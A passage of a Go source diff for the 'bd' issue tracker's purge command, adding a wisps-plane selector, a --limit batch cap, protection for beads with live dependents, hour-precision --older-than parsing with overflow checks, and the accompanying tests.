closed beads a live bead still depends on through a +parent-child, tracks or blocks edge (a closed molecule root whose step is open, +a closed bead a live convoy tracks). Live means any status that is not done. + +--wisps-plane selects by storage plane instead: every closed row stored in the +wisps table, including --no-history beads, which the default ephemeral +selection leaves to ` + "`bd prune`" + `. It reaches durable-tier rows, so it requires +--older-than or --pattern, like ` + "`bd prune`" + `. + +--limit N caps one run at N beads, oldest-closed first, so a large backlog can +be drained in bounded transactions; --json then reports "remaining" and +"has_more". Loop while has_more is true. + +--older-than takes days (7, 7d), weeks (2w) or a duration with hour precision +(36h, 168h, 90m). To delete closed non-ephemeral beads (regular tasks, features, bugs, etc.) use ` + "`bd prune`" + ` instead. @@ -65,6 +86,9 @@ EXAMPLES: bd purge --force # Delete all closed ephemeral beads bd purge --older-than 7d --force # Only purge items closed 7+ days ago bd purge --pattern "*-wisp-*" # Only purge matching ID pattern + bd purge --older-than 36h --force # Hour precision: closed 36+ hours ago + bd purge --wisps-plane --older-than 168h --force + # Every closed wisps-table row, incl. no-history bd purge --dry-run # Detailed preview with stats`, SilenceUsage: true, SilenceErrors: true, @@ -76,14 +100,20 @@ EXAMPLES: } }() - return runPurgeOrPrune(cmd, purgeScope{ - cmdName: "purge", - pastTense: "purged", - countKey: "purged_count", - dryRunCountKey: "purge_count", - subjectNoun: "closed ephemeral bead", - tier: issueops.SweepEphemeral, - }) + scope := purgeScope{ + cmdName: "purge", + pastTense: "purged", + countKey: "purged_count", + dryRunCountKey: "purge_count", + subjectNoun: "closed ephemeral bead", + tier: issueops.SweepEphemeral, + protectLiveDependents: true, + } + if wispsPlane, _ := cmd.Flags().GetBool("wisps-plane"); wispsPlane { + scope.subjectNoun = "closed wisps-plane bead" + scope.tier = issueops.SweepWispsPlane + } + return runPurgeOrPrune(cmd, scope) }, } @@ -110,6 +140,11 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { dryRun, _ := cmd.Flags().GetBool("dry-run") olderThan, _ := cmd.Flags().GetString("older-than") pattern, _ := cmd.Flags().GetString("pattern") + // Only `bd purge` defines --limit; GetInt on an undefined flag is 0, "no cap". + limit, _ := cmd.Flags().GetInt("limit") + if limit < 0 { + return HandleErrorRespectJSON("invalid --limit value %d: must be 0 (no limit) or positive", limit) + } // The ROLE refuses an unfiltered durable sweep — that guard is // workapi.ValidateSweepRequest, below every front door. This branch is here @@ -117,30 +152,36 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { // flags a person who typed `bd prune --force` has to reach for. The contract // case RunSweeperRefusesAnUnfilteredDurableSweep proves the guard survives // this branch being deleted. - if scope.tier == issueops.SweepDurable && olderThan == "" && pattern == "" { + if scope.tier != issueops.SweepEphemeral && olderThan == "" && pattern == "" { + command := scope.cmdName + if scope.tier == issueops.SweepWispsPlane { + command += " --wisps-plane" + } return HandleErrorWithHint( - fmt.Sprintf("bd %s requires --older-than or --pattern", scope.cmdName), + fmt.Sprintf("bd %s requires --older-than or --pattern", command), "Protects against accidental bulk deletion. Use `--pattern '*'` to\n"+ " include all closed beads in this scope, or `--older-than 1d`\n"+ " / `--pattern ''` to narrow the deletion.") } request := issueops.SweepRequest{ - Actor: actor, - Tier: scope.tier, - IDPattern: pattern, - ProtectReferenced: scope.protectReferenced, + Actor: actor, + Tier: scope.tier, + IDPattern: pattern, + ProtectReferenced: scope.protectReferenced, + ProtectLiveDependents: scope.protectLiveDependents, + Limit: limit, // A --dry-run and an UNCONFIRMED run ask the role the same question — // "what would this do" — so both send DryRun. --force is this // command's confirmation, not a request field. DryRun: dryRun || !force, } if olderThan != "" { - days, err := parseHumanDuration(olderThan) + age, err := parseOlderThan(olderThan) if err != nil { return HandleErrorRespectJSON("invalid --older-than value %q: %v", olderThan, err) } - cutoff := time.Now().UTC().AddDate(0, 0, -days) + cutoff := time.Now().UTC().Add(-age) request.ClosedBefore = &cutoff } @@ -165,16 +206,16 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { switch { case result.Swept == 0: - return emitSweepEmpty(scope, olderThan, pattern, result) + return emitSweepEmpty(scope, olderThan, pattern, limit, result) case dryRun: - return emitSweepDryRun(scope, result) + return emitSweepDryRun(scope, limit, result) case !force: return emitSweepConfirm(scope, olderThan, pattern, result) } commandDidWrite.Store(true) commandMayEmptyJSONLExport.Store(true) - return emitSweepResult(scope, result) + return emitSweepResult(scope, limit, result) } // warnSweepDefenseSkips reports the candidates the role's own recheck threw @@ -208,12 +249,40 @@ func addReferenceStats(scope purgeScope, stats map[string]interface{}, result is } } -func emitSweepEmpty(scope purgeScope, olderThan, pattern string, result issueops.SweepResult) error { +// addLimitStats reports what --limit left for the next run. It is attached +// only when the caller asked for a limit, so the unlimited shape is unchanged. +func addLimitStats(stats map[string]interface{}, limit int, result issueops.SweepResult) { + if limit <= 0 { + return + } + stats["remaining"] = result.Remaining + stats["has_more"] = result.Remaining > 0 +} + +// printLimitNote tells a text reader that --limit left rows behind. +func printLimitNote(result issueops.SweepResult) { + if result.Remaining > 0 { + fmt.Printf(" Remaining (over --limit): %d — run again to continue\n", result.Remaining) + } +} + +// addLiveDependentStats attaches the live-dependent skip count to a --json +// payload when the protection held anything back, the way pinned_skipped is +// reported. +func addLiveDependentStats(stats map[string]interface{}, result issueops.SweepResult) { + if result.Skipped.LiveDependent > 0 { + stats["live_dependent_skipped"] = result.Skipped.LiveDependent + } +} + +func emitSweepEmpty(scope purgeScope, olderThan, pattern string, limit int, result issueops.SweepResult) error { if jsonOutput { stats := map[string]interface{}{ scope.countKey: 0, "message": fmt.Sprintf("No %ss to %s", scope.subjectNoun, scope.cmdName), } + addLiveDependentStats(stats, result) + addLimitStats(stats, limit, result) addReferenceStats(scope, stats, result) return outputJSON(stats) } @@ -225,6 +294,10 @@ func emitSweepEmpty(scope purgeScope, olderThan, pattern string, result issueops msg += fmt.Sprintf(" (matching %q)", pattern) } fmt.Println(msg) + if result.Skipped.LiveDependent > 0 { + fmt.Println(ui.MutedStyle.Render(fmt.Sprintf( + " (%d closed bead(s) protected by live dependents)", result.Skipped.LiveDependent))) + } if result.Skipped.Referenced > 0 { fmt.Println(ui.MutedStyle.Render(fmt.Sprintf( " (%d closed bead(s) protected by open-bead references — use --ignore-references to override)", @@ -233,7 +306,7 @@ func emitSweepEmpty(scope purgeScope, olderThan, pattern string, result issueops return nil } -func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { +func emitSweepDryRun(scope purgeScope, limit int, result issueops.SweepResult) error { if jsonOutput { stats := map[string]interface{}{ "dry_run": true, @@ -245,6 +318,8 @@ func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { stats["pinned_skipped"] = result.Skipped.Pinned } + addLiveDependentStats(stats, result) + addLimitStats(stats, limit, result) addReferenceStats(scope, stats, result) return outputJSON(stats) } @@ -255,6 +330,9 @@ func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { fmt.Printf(" Pinned (skipped): %d\n", result.Skipped.Pinned) } + if result.Skipped.LiveDependent > 0 { + fmt.Printf(" Live dependent (skipped): %d\n", result.Skipped.LiveDependent) + } if result.Skipped.Referenced > 0 { fmt.Printf(" %s %d\n", ui.MutedStyle.Render("Referenced (skipped):"), result.Skipped.Referenced) sample := result.ReferencedIDs @@ -271,6 +349,7 @@ func emitSweepDryRun(scope purgeScope, result issueops.SweepResult) error { } fmt.Printf(" %s %s%s\n", ui.MutedStyle.Render("Referenced IDs (sample):"), strings.Join(idStrs, ", "), suffix) } + printLimitNote(result) fmt.Printf("\n(Dry-run mode — no changes made)\n") return nil } @@ -280,10 +359,16 @@ func emitSweepConfirm(scope purgeScope, olderThan, pattern string, result issueo if result.Skipped.Pinned > 0 { fmt.Printf("Skipping %d pinned bead(s)\n", result.Skipped.Pinned) } + if result.Skipped.LiveDependent > 0 { + fmt.Printf("Skipping %d bead(s) a live bead depends on\n", result.Skipped.LiveDependent) + } if result.Skipped.Referenced > 0 { fmt.Println(ui.MutedStyle.Render(fmt.Sprintf("Skipping %d referenced bead(s)", result.Skipped.Referenced))) } hint := fmt.Sprintf("bd %s --force", scope.cmdName) + if scope.tier == issueops.SweepWispsPlane { + hint += " --wisps-plane" + } if olderThan != "" { hint += " --older-than " + olderThan } @@ -295,7 +380,7 @@ func emitSweepConfirm(scope purgeScope, olderThan, pattern string, result issueo fmt.Sprintf("Use --force to confirm or --dry-run to preview.\n %s", hint)) } -func emitSweepResult(scope purgeScope, result issueops.SweepResult) error { +func emitSweepResult(scope purgeScope, limit int, result issueops.SweepResult) error { if jsonOutput { stats := map[string]interface{}{ scope.countKey: result.Swept, @@ -306,6 +391,8 @@ func emitSweepResult(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { stats["pinned_skipped"] = result.Skipped.Pinned } + addLiveDependentStats(stats, result) + addLimitStats(stats, limit, result) addReferenceStats(scope, stats, result) return outputJSON(stats) } @@ -316,9 +403,13 @@ func emitSweepResult(scope purgeScope, result issueops.SweepResult) error { if result.Skipped.Pinned > 0 { fmt.Printf(" Pinned (skipped): %d\n", result.Skipped.Pinned) } + if result.Skipped.LiveDependent > 0 { + fmt.Printf(" Live dependent (skipped): %d\n", result.Skipped.LiveDependent) + } if result.Skipped.Referenced > 0 { fmt.Printf(" %s %d\n", ui.MutedStyle.Render("Referenced (skipped):"), result.Skipped.Referenced) } + printLimitNote(result) return nil } @@ -329,53 +420,77 @@ func capitalize(s string) string { return strings.ToUpper(s[:1]) + s[1:] } -// parseHumanDuration parses a human-friendly duration string into days. -// Accepts: "7d", "30d", "24h", "2w", or just a number (treated as days). -func parseHumanDuration(s string) (int, error) { +// parseOlderThan parses an --older-than value into an age. +// +// Day-denominated values keep the meaning they always had: a bare number is +// days ("7"), and "7d" / "2w" are days and weeks. Anything else is a Go +// duration with hour precision or finer — "36h", "168h", "90m", "1h30m" — and +// is taken exactly; "Nh" used to be floored to whole days, which made "36h" +// sweep rows only 24 hours old. The suffix letters are case-insensitive, as +// they always were. The age must be positive. +func parseOlderThan(s string) (time.Duration, error) { s = strings.TrimSpace(s) if s == "" { return 0, fmt.Errorf("empty duration") } - // Plain number = days if days, err := strconv.Atoi(s); err == nil { - if days <= 0 { - return 0, fmt.Errorf("duration must be positive") - } - return days, nil + return daysAge(int64(days)) } - // Parse suffix unit := s[len(s)-1] - numStr := s[:len(s)-1] - num, err := strconv.Atoi(numStr) - if err != nil { - return 0, fmt.Errorf("invalid number %q", numStr) + switch unit { + case 'd', 'D', 'w', 'W': + num, err := strconv.Atoi(s[:len(s)-1]) + if err != nil { + return 0, fmt.Errorf("invalid number %q", s[:len(s)-1]) + } + days := int64(num) + if unit == 'w' || unit == 'W' { + if days > maxOlderThanDays/7 || days < -maxOlderThanDays/7 { + return 0, errOlderThanRange + } + days *= 7 + } + return daysAge(days) } - if num <= 0 { + + age, err := time.ParseDuration(strings.ToLower(s)) + if err != nil { + // time.ParseDuration refuses an out-of-range value ("9999999h") the + // same way it refuses a malformed one, so neither can wrap around. + return 0, fmt.Errorf("invalid or out-of-range duration %q (use a number of days, Nd, Nw, or a duration such as 36h or 90m)", s) + } + return positiveAge(age) +} + +// maxOlderThanDays is the largest day count a time.Duration can hold. A larger +// value used to overflow silently — 213504d wrapped to 25 minutes — which on a +// destructive command selected nearly everything instead of nothing. +const maxOlderThanDays = math.MaxInt64 / int64(24*time.Hour) + +var errOlderThanRange = fmt.Errorf("duration out of range (at most %d days)", maxOlderThanDays) + +func daysAge(days int64) (time.Duration, error) { + if days > maxOlderThanDays { + return 0, errOlderThanRange + } + return positiveAge(time.Duration(days) * 24 * time.Hour) +} + +func positiveAge(age time.Duration) (time.Duration, error) { + if age <= 0 { return 0, fmt.Errorf("duration must be positive") } - - switch unit { - case 'h', 'H': - days := num / 24 - if days == 0 { - days = 1 // minimum 1 day - } - return days, nil - case 'd', 'D': - return num, nil - case 'w', 'W': - return num * 7, nil - default: - return 0, fmt.Errorf("unknown unit %q (use h, d, or w)", string(unit)) - } + return age, nil } func init() { purgeCmd.Flags().BoolP("force", "f", false, "Actually purge (without this, shows preview)") purgeCmd.Flags().Bool("dry-run", false, "Preview what would be purged with stats") - purgeCmd.Flags().String("older-than", "", "Only purge beads closed more than N ago (e.g., 7d, 2w, 30)") + purgeCmd.Flags().String("older-than", "", "Only purge beads closed more than N ago (e.g., 7d, 2w, 30, 36h)") + purgeCmd.Flags().Int("limit", 0, "Purge at most N beads this run, oldest-closed first (0 = no limit); --json reports remaining/has_more") + purgeCmd.Flags().Bool("wisps-plane", false, "Select every closed row in the wisps table, including --no-history beads (requires --older-than or --pattern)") purgeCmd.Flags().String("pattern", "", "Only purge beads matching ID glob pattern (e.g., *-wisp-*)") rootCmd.AddCommand(purgeCmd) } diff --git a/cmd/bd/purge_test.go b/cmd/bd/purge_test.go index 89d84bb1b..d44cf8221 100644 --- a/cmd/bd/purge_test.go +++ b/cmd/bd/purge_test.go @@ -1,40 +1,68 @@ package main -import "testing" +import ( + "testing" + "time" +) -func TestParseHumanDuration(t *testing.T) { +// TestParseOlderThan pins --older-than on both `bd purge` and `bd prune`. +// Day-denominated values keep their meaning; hour (and finer) values are taken +// exactly rather than floored to whole days — "36h" used to become 24h and +// sweep rows younger than the caller asked for. +func TestParseOlderThan(t *testing.T) { + const day = 24 * time.Hour tests := []struct { input string - want int + want time.Duration wantErr bool }{ - {"7", 7, false}, - {"30", 30, false}, - {"7d", 7, false}, - {"30d", 30, false}, - {"2w", 14, false}, - {"1w", 7, false}, - {"48h", 2, false}, - {"12h", 1, false}, // rounds up to 1 day minimum - {"7D", 7, false}, - {"2W", 14, false}, + // Unchanged day semantics. + {"7", 7 * day, false}, + {"30", 30 * day, false}, + {"7d", 7 * day, false}, + {"30d", 30 * day, false}, + {"2w", 14 * day, false}, + {"1w", 7 * day, false}, + {"7D", 7 * day, false}, + {"2W", 14 * day, false}, + // Hour precision, no longer floored to days. + {"48h", 48 * time.Hour, false}, + {"168h", 7 * day, false}, + {"36h", 36 * time.Hour, false}, + {"12h", 12 * time.Hour, false}, + {"36H", 36 * time.Hour, false}, + {"90m", 90 * time.Minute, false}, + {"1h30m", 90 * time.Minute, false}, + // Refusals. {"", 0, true}, {"0", 0, true}, {"-1", 0, true}, {"0d", 0, true}, + {"0h", 0, true}, + {"-36h", 0, true}, {"abc", 0, true}, {"7x", 0, true}, + {"d", 0, true}, + // Out of range must be refused, never wrapped: 213504d used to + // overflow to 25m26s and select almost every closed row. + {"213504d", 0, true}, + {"213504", 0, true}, + {"30501w", 0, true}, + {"106752d", 0, true}, + {"9223372036854775807d", 0, true}, + {"99999999999h", 0, true}, + // The largest representable day count still parses. + {"106751d", 106751 * day, false}, } for _, tt := range tests { t.Run(tt.input, func(t *testing.T) { - got, err := parseHumanDuration(tt.input) + got, err := parseOlderThan(tt.input) if (err != nil) != tt.wantErr { - t.Errorf("parseHumanDuration(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) - return + t.Fatalf("parseOlderThan(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) } if got != tt.want { - t.Errorf("parseHumanDuration(%q) = %d, want %d", tt.input, got, tt.want) + t.Errorf("parseOlderThan(%q) = %s, want %s", tt.input, got, tt.want) } }) } diff --git a/cmd/bd/purge_wisps_plane_integration_test.go b/cmd/bd/purge_wisps_plane_integration_test.go new file mode 100644 index 000000000..c7147f3ee --- /dev/null +++ b/cmd/bd/purge_wisps_plane_integration_test.go @@ -0,0 +1,207 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "os/exec" + "strings" + "testing" + "time" +) + +// purgeScenarioRunner drives one storage mode for the purge retention +// scenario. run never fatals: several steps assert a refusal. +type purgeScenarioRunner struct { + mode string + run func(t *testing.T, args ...string) (stdout, stderr string, err error) +} + +func (r purgeScenarioRunner) must(t *testing.T, args ...string) string { + t.Helper() + stdout, stderr, err := r.run(t, args...) + if err != nil { + t.Fatalf("%s: bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", + r.mode, strings.Join(args, " "), err, stdout, stderr) + } + return stdout +} + +func (r purgeScenarioRunner) create(t *testing.T, title string, args ...string) string { + t.Helper() + id := strings.TrimSpace(r.must(t, append([]string{"create", title, "--silent"}, args...)...)) + if id == "" { + t.Fatalf("%s: bd create %q printed no id", r.mode, title) + } + return id +} + +func (r purgeScenarioRunner) exists(t *testing.T, id string) bool { + t.Helper() + _, _, err := r.run(t, "show", id) + return err == nil +} + +// purgeJSON runs a purge that must succeed and decodes its --json object. +func (r purgeScenarioRunner) purgeJSON(t *testing.T, args ...string) map[string]any { + t.Helper() + out := r.must(t, append(append([]string{"purge"}, args...), "--json")...) + start := strings.Index(out, "{") + if start < 0 { + t.Fatalf("%s: bd purge %s --json printed no object:\n%s", r.mode, strings.Join(args, " "), out) + } + var result map[string]any + if err := json.Unmarshal([]byte(out[start:]), &result); err != nil { + t.Fatalf("%s: parse purge JSON: %v\n%s", r.mode, err, out) + } + return result +} + +func jsonCount(result map[string]any, key string) int { + n, _ := result[key].(float64) + return int(n) +} + +// runPurgeRetentionScenario is the retention sweep an orchestrator runs over +// the wisps plane — `bd purge --wisps-plane --older-than --force` — and +// the three things it has to get right: +// +// - the wisps PLANE is the selection, so a closed --no-history bead goes +// with the closed ephemeral wisp while a closed durable bead stays; +// - a closed wisp a live wisp depends on (parent-child, tracks) is kept and +// counted, on the default purge as much as the plane one; +// - --older-than has sub-day precision: rows closed seconds ago are swept +// by "1s" and kept by "36h" (which used to be floored to 24h), and an +// out-of-range value is refused rather than wrapped; +// - --limit drains a backlog in bounded runs, reporting remaining/has_more. +func runPurgeRetentionScenario(t *testing.T, r purgeScenarioRunner) { + t.Helper() + + wisp := r.create(t, "closed wisp", "--ephemeral") + noHistory := r.create(t, "closed no-history bead", "--no-history") + durable := r.create(t, "closed durable bead") + + parent := r.create(t, "closed molecule root", "--ephemeral") + child := r.create(t, "open step", "--ephemeral") + r.must(t, "dep", "add", child, parent, "--type", "parent-child") + + tracked := r.create(t, "closed tracked wisp", "--ephemeral") + convoy := r.create(t, "live convoy", "--ephemeral") + r.must(t, "dep", "add", convoy, tracked, "--type", "tracks") + r.must(t, "update", convoy, "--status", "in_progress") + + r.must(t, "close", wisp, noHistory, durable, tracked) + r.must(t, "close", parent, "--force") + + // Everything above closed within the last few seconds. closed_at is + // stored at second precision, so wait comfortably past one second before + // asking "--older-than 1s" for it. + time.Sleep(2500 * time.Millisecond) + + // The plane selector reaches durable-tier rows, so it takes the durable + // tier's require-a-filter gate. + if stdout, stderr, err := r.run(t, "purge", "--wisps-plane", "--force"); err == nil || + !strings.Contains(stdout+stderr, "requires --older-than or --pattern") { + t.Fatalf("%s: unfiltered purge --wisps-plane: err=%v\n%s%s", r.mode, err, stdout, stderr) + } + + // Hour precision: nothing here is 36 hours old. + if got := r.purgeJSON(t, "--wisps-plane", "--older-than", "36h", "--dry-run"); jsonCount(got, "purge_count") != 0 { + t.Fatalf("%s: --older-than 36h selected rows closed seconds ago: %v", r.mode, got) + } + + preview := r.purgeJSON(t, "--wisps-plane", "--older-than", "1s", "--dry-run") + if jsonCount(preview, "purge_count") != 2 || jsonCount(preview, "live_dependent_skipped") != 2 { + t.Fatalf("%s: dry run = %v; want purge_count 2 (wisp + no-history) and live_dependent_skipped 2 (root + tracked)", + r.mode, preview) + } + + // --limit drains in bounded runs and says whether more remain. + first := r.purgeJSON(t, "--wisps-plane", "--older-than", "1s", "--limit", "1", "--force") + if jsonCount(first, "purged_count") != 1 || jsonCount(first, "remaining") != 1 || first["has_more"] != true { + t.Fatalf("%s: purge --limit 1 = %v; want purged_count 1, remaining 1, has_more true", r.mode, first) + } + result := r.purgeJSON(t, "--wisps-plane", "--older-than", "1s", "--limit", "1", "--force") + if jsonCount(result, "purged_count") != 1 || jsonCount(result, "live_dependent_skipped") != 2 || + jsonCount(result, "remaining") != 0 || result["has_more"] != false { + t.Fatalf("%s: second purge --limit 1 = %v; want purged_count 1, live_dependent_skipped 2, remaining 0, has_more false", + r.mode, result) + } + if stdout, stderr, err := r.run(t, "purge", "--limit", "-1", "--force"); err == nil { + t.Fatalf("%s: purge --limit -1 succeeded:\n%s%s", r.mode, stdout, stderr) + } + if stdout, stderr, err := r.run(t, "purge", "--older-than", "213504d", "--force"); err == nil || + !strings.Contains(stdout+stderr, "out of range") { + t.Fatalf("%s: purge --older-than 213504d must refuse as out of range: err=%v\n%s%s", r.mode, err, stdout, stderr) + } + for id, want := range map[string]bool{ + wisp: false, noHistory: false, + parent: true, child: true, tracked: true, convoy: true, durable: true, + } { + if got := r.exists(t, id); got != want { + t.Errorf("%s: after purge --wisps-plane, %s exists = %v, want %v", r.mode, id, got, want) + } + } + + // The default (ephemeral-tier) purge protects live dependents too, and + // still leaves no-history beads alone. + root2 := r.create(t, "second closed root", "--ephemeral") + step2 := r.create(t, "second open step", "--ephemeral") + r.must(t, "dep", "add", step2, root2, "--type", "parent-child") + r.must(t, "close", root2, "--force") + noHistory2 := r.create(t, "second no-history bead", "--no-history") + r.must(t, "close", noHistory2) + plain := r.purgeJSON(t, "--force") + if jsonCount(plain, "live_dependent_skipped") < 1 { + t.Errorf("%s: default purge reported no live-dependent skip: %v", r.mode, plain) + } + if !r.exists(t, root2) { + t.Errorf("%s: default purge deleted %s, whose step %s is still open", r.mode, root2, step2) + } + if !r.exists(t, noHistory2) { + t.Errorf("%s: default purge deleted no-history bead %s; only --wisps-plane selects it", r.mode, noHistory2) + } +} + +func embeddedPurgeScenarioRunner(bd, dir string) purgeScenarioRunner { + return purgeScenarioRunner{ + mode: "embedded", + run: func(t *testing.T, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err + }, + } +} + +func proxiedPurgeScenarioRunner(bd string, p proxiedProject) purgeScenarioRunner { + return purgeScenarioRunner{ + mode: "proxied", + run: func(t *testing.T, args ...string) (string, string, error) { + t.Helper() + return bdProxiedRunBuffers(t, bd, p.dir, args...) + }, + } +} + +func TestEmbeddedPurgeWispsPlaneRetention(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "pwp") + runPurgeRetentionScenario(t, embeddedPurgeScenarioRunner(bd, dir)) +} + +func TestProxiedServerPurgeWispsPlaneRetention(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "pwx") + runPurgeRetentionScenario(t, proxiedPurgeScenarioRunner(bd, p)) +} diff --git a/cmd/bd/purge_wisps_plane_managed_local_test.go b/cmd/bd/purge_wisps_plane_managed_local_test.go new file mode 100644 index 000000000..0a4d6a741 --- /dev/null +++ b/cmd/bd/purge_wisps_plane_managed_local_test.go @@ -0,0 +1,19 @@ +//go:build cgo && unix + +package main + +import ( + "testing" + "time" +) + +// TestManagedLocalProxiedPurgeWispsPlaneRetention runs the purge retention +// scenario on the managed-local proxied topology, the default for a proxied +// workspace bd starts the Dolt server for. Named TestManagedLocalProxied* so +// the proxied-local smoke lane runs it. +func TestManagedLocalProxiedPurgeWispsPlaneRetention(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "pwl", 5*time.Minute) + runPurgeRetentionScenario(t, proxiedPurgeScenarioRunner(bd, p)) +} diff --git a/internal/storage/dolt/sweeper_contract_test.go b/internal/storage/dolt/sweeper_contract_test.go index 9c025b9b0..d01d2e96b 100644 --- a/internal/storage/dolt/sweeper_contract_test.go +++ b/internal/storage/dolt/sweeper_contract_test.go @@ -35,6 +35,21 @@ func TestSweeperContract(t *testing.T) { t.Run("TreatsALegacyTypedWispAsEphemeralTier", func(t *testing.T) { conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, ctx, fixture) }) + t.Run("WispsPlaneClearsTheWholeWispsTable", func(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, ctx, fixture) + }) + t.Run("WispsPlaneRequiresAFilter", func(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependents", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependentsAcrossPlanes", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, ctx, fixture) + }) + t.Run("LimitTakesTheOldestClosedFirst", func(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, ctx, fixture) + }) t.Run("LeavesNoHistoryBeadsToTheDurableTier", func(t *testing.T) { conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, ctx, fixture) }) @@ -98,6 +113,16 @@ func newDoltSweeperFixture(t *testing.T, prefix string) (conformance.SweeperFixt } return nil }, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself. + editor, err := store.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, AddComment: func(ctx context.Context, issueID, author, text string) error { // Through the Commenter ROLE, which resolves the plane itself, so // the case can cite from a wisp's comment without knowing how this diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 61e383520..c490a29b6 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -944,6 +944,13 @@ func (r *issueSQLRepositoryImpl) SearchAcrossIssuesAndWispsWithCounts(ctx contex return r.searchAcrossIssuesAndWispsWithCounts(ctx, query, filter) } +// SearchWispsPlane runs the shared wisps-plane search body on this +// repository's transaction, so the unit-of-work provider and the two store +// backends read the plane through one function. +func (r *issueSQLRepositoryImpl) SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { + return issueops.SearchWispsPlaneInTx(ctx, r.runner, query, filter) +} + func (r *issueSQLRepositoryImpl) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) { return issueops.SearchIssueIDsInTx(ctx, r.runner, query, filter) } diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index cadb0fd22..a8137338a 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -72,6 +72,10 @@ type IssueSQLRepository interface { SearchAcrossIssuesAndWisps(ctx context.Context, query string, filter types.IssueFilter) (SearchPage, error) SearchAcrossIssuesAndWispsWithCounts(ctx context.Context, query string, filter types.IssueFilter) (SearchCountsPage, error) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) + // SearchWispsPlane searches the wisps table ALONE, whatever each row's + // ephemeral, no_history or wisp_type values, and never the issues table + // (issueops.SearchWispsPlaneInTx). + SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) GetReadyWork(ctx context.Context, filter types.WorkFilter) (SearchPage, error) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) (SearchCountsPage, error) GetDescendants(ctx context.Context, rootID string, filter types.IssueFilter) ([]*types.Issue, error) @@ -308,6 +312,10 @@ type IssueUseCase interface { SearchIssues(ctx context.Context, query string, filter types.IssueFilter) (SearchPage, error) SearchIssuesWithCounts(ctx context.Context, query string, filter types.IssueFilter) (SearchCountsPage, error) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) + // SearchWispsPlane searches the wisps table ALONE, whatever each row's + // ephemeral, no_history or wisp_type values, and never the issues table + // (issueops.SearchWispsPlaneInTx). + SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) GetReadyWork(ctx context.Context, filter types.WorkFilter) (SearchPage, error) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) (SearchCountsPage, error) GetDescendants(ctx context.Context, rootID string, filter types.IssueFilter) ([]*types.Issue, error) @@ -843,6 +851,14 @@ func (u *issueUseCaseImpl) SearchIssues(ctx context.Context, query string, filte return out, nil } +func (u *issueUseCaseImpl) SearchWispsPlane(ctx context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) { + out, err := u.issueRepo.SearchWispsPlane(ctx, query, filter) + if err != nil { + return nil, fmt.Errorf("SearchWispsPlane: %w", err) + } + return out, nil +} + func (u *issueUseCaseImpl) SearchIssueIDs(ctx context.Context, query string, filter types.IssueFilter) ([]string, error) { out, err := u.issueRepo.SearchIssueIDs(ctx, query, filter) if err != nil { diff --git a/internal/storage/embeddeddolt/sweeper_contract_test.go b/internal/storage/embeddeddolt/sweeper_contract_test.go index 2d221219c..7a2e550e0 100644 --- a/internal/storage/embeddeddolt/sweeper_contract_test.go +++ b/internal/storage/embeddeddolt/sweeper_contract_test.go @@ -40,6 +40,21 @@ func TestSweeperContract(t *testing.T) { t.Run("TreatsALegacyTypedWispAsEphemeralTier", func(t *testing.T) { conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, ctx, fixture) }) + t.Run("WispsPlaneClearsTheWholeWispsTable", func(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, ctx, fixture) + }) + t.Run("WispsPlaneRequiresAFilter", func(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependents", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, ctx, fixture) + 